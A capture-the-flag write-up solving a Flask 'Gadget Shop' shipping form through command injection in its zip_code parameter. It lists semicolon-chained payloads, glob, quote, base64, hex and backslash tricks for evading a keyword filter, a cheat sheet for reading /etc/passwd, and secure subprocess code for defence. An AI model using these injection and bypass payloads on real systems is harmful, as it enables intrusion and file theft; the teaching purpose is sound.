← Back to Writeups
CUSTOMEasyWeb

Магазин (Gadget Shop)

XESXOR9/2/20263 min read
#web#custom#easy#command-injection-via-semicolo#filter-bypass-using-glob-wildc#shell-command-execution-throug

Магазин (Gadget Shop)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | *Author: XESXOR Techniques: Command Injection via semicolon separator, Filter bypass using glob wildcards (fl instead of flag), Shell command execution through user input

Summary

Walkthrough of the CUSTOM Web Магазин (Gadget Shop). Task: Web application with shipping cost calculator form. Solution: Command injection via semicolon separator in zip_code parameter, filter bypass using glob wildcard (fl* instead of flag) to read fla

Description

Узнай сколько стоит доставка до твоего дома (Find out how much delivery to your home costs)

URL: http://193.84.2.15:16000

Analysis

1. Reconnaissance

"Gadget Shop" web application — an online gadget store with a shipping cost calculator form. The form sends a POST request to /shipping with parameters:

  • product_id — product identifier
  • zip_code — postal code

Server: Werkzeug/3.1.4 Python/3.11.13 (Flask application)

2. Vulnerability Discovery

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Various injection techniques were tested:

TechniquePayloadResult
SSTI{{7*7}}No execution
SQLi' OR 1=1--No SQL errors
Command Injection;pwd✅ Output /app

Command Injection confirmed! The zip_code parameter is passed to a shell command without sanitization.

3. Filesystem Exploration

bash
# Current directory
;pwd
# Result: /app

# List files
;ls /app
# Result: app.py, flag.txt, templates, static, ...

4. Filter Discovery

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Attempt to read the flag directly:

bash
;cat /app/flag.txt

Result: Empty response or error — the word "flag" is filtered!

Solution

Filter Bypass via Wildcard

Using glob pattern fl* instead of flag:

bash
curl -s -X POST http://193.84.2.15:16000/shipping \
  --data-urlencode "product_id=laptop" \
  --data-urlencode "zip_code=;cat /app/fl*"

The wildcard fl* is expanded by the shell to flag.txt, bypassing the application-side filter.

Alternative Bypass Methods

bash
# String concatenation
;cat /app/fla''g.txt
;cat /app/fla""g.txt
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Environment variables
;cat /app/fl$()ag.txt

# Base64 encoding
;echo ZmxhZy50eHQ= | base64 -d | xargs cat

# Backticks
;cat /app/`echo flag`.txt

# Hex escape
;cat /app/$'\x66\x6c\x61\x67'.txt

Command Injection Techniques

Command Separators

bash
; command      # Sequential execution
| command      # Pipe (output of first command → input of second)
|| command     # Execute if first command failed
& command      # Background execution
&& command     # Execute if first command succeeded
`command`      # Command substitution
$(command)     # Command substitution (POSIX)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Filter Bypass

bash
# Wildcards
cat /etc/pas*wd
cat /???/??ss??

# Concatenation
cat /et''c/pas''swd
cat /et""c/pas""swd

# Variables
cat $HOME/../etc/passwd

# Base64
echo L2V0Yy9wYXNzd2Q= | base64 -d | xargs cat

# Hex
cat $'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'

# Backslash
c\at /e\tc/pa\sswd

Defense

python
# WRONG - vulnerable to Command Injection
import os
def calculate_shipping(zip_code):
    result = os.popen(f"./shipping_calc {zip_code}").read()
    return result

# CORRECT - use subprocess with shell=False
import subprocess
def calculate_shipping(zip_code):
    # Input validation
    if not zip_code.isdigit() or len(zip_code) != 6:
        raise ValueError("Invalid ZIP code")
    
    # Pass arguments as a list (without shell)
    result = subprocess.run(
        ["./shipping_calc", zip_code],
        capture_output=True,
        text=True,
        shell=False  # IMPORTANT!
    )
    return result.stdout
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# EVEN BETTER - don't use shell at all
import shlex
def safe_command(user_input):
    # Escape for shell (if shell is necessary)
    safe_input = shlex.quote(user_input)
    # But it's better to avoid shell=True entirely

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering Command Injection via semicolon separator, Filter bypass using glob wildcards (fl* instead of flag), Shell command execution through user input was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2025-12-21 • CUSTOM • Магазин (Gadget Shop) • Difficulty: Easy